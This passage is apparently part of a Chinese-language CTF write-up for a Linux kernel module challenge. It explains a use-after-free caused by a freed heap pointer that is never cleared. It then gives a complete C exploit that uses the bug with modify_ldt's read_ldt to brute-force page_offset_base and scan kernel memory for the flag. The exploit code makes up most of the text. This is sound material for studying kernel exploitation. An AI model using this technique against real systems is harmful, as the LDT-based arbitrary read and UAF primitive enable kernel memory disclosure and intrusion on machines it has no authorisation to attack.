    if ( v7.size > 0x7FFFFFFFuLL )
      BUG();
    if ( copy_from_user(v6, v7.buf, v7.size) )
      return 0LL;
  }
  return v3;
}

0xDEADBEEF 能够申请堆块并写入, 0xC0DECAFE 释放堆块, 但是没将指针置零. 堆块一共两个.

单看模块的功能无法 UAF, 但是我们可以先申请然后释放, 这样 buf 指针和 freeilst 里都有这个块. 然后在模块外申请到该堆块, 再用 UAF 释放掉, 最后再重新申请就可以 UAF 写了.

可以看到, 这里的大小是任意的, 有 UAF 写没有 UAF 读. 这题的做法其实多种多样. 利用 read_ldt() 直接开搜的 exp 如下

c

#define ALLOC 0xDEADBEEF
#define FREE  0xC0DECAFE
#define WRITE_LDT 1
#define READ_LDT  0
#define READ_PIPE 0
#define WRITE_PIPE 1

struct arg_t {
    uint idx;
    uint size;
    size_t *buf;
};

size_t page_offset_base = 0xffff888000000000;
const size_t step = 1ull << 30;

int modify_ldt(int func, void *ptr, unsigned long bytecount) {
    return syscall(SYS_modify_ldt, func, ptr, bytecount);
}

void pwn() {
    int fd = open("/dev/rwctf", O_RDWR);
    struct arg_t arg;
    arg.idx = 0;
    arg.size = 0x10;
    arg.buf = malloc(0x10);

    struct user_desc desc;
    memset(&desc, 0, sizeof(desc));
    desc.entry_number = arg.buf[1] = 8191;

    ioctl(fd, ALLOC, &arg);
    ioctl(fd, FREE, &arg);
    modify_ldt(WRITE_LDT, &desc, sizeof(desc));

    for (;;) {
        arg.buf[0] = page_offset_base;
        ioctl(fd, FREE, &arg);
        ioctl(fd, ALLOC, &arg);
        size_t tmp;
        if (modify_ldt(READ_LDT, &tmp, sizeof(tmp)) > 0)
            break;
        page_offset_base += step;
    }
    printvar(success, "page_offset_base", page_offset_base);

    arg.buf[0] = page_offset_base;
    int buf_size = 0x10000;
    size_t *buf = calloc(buf_size, 1);
    for (;;) {
        ioctl(fd, FREE, &arg);
        ioctl(fd, ALLOC, &arg);
        if (!fork()) {
            modify_ldt(READ_LDT, buf, buf_size);
            char *p = memmem(buf, buf_size, "rwctf{", 6);
            if (p)
                puts(p);
            return;
        }
        wait(NULL);
        arg.buf[0] += buf_size;
    }
}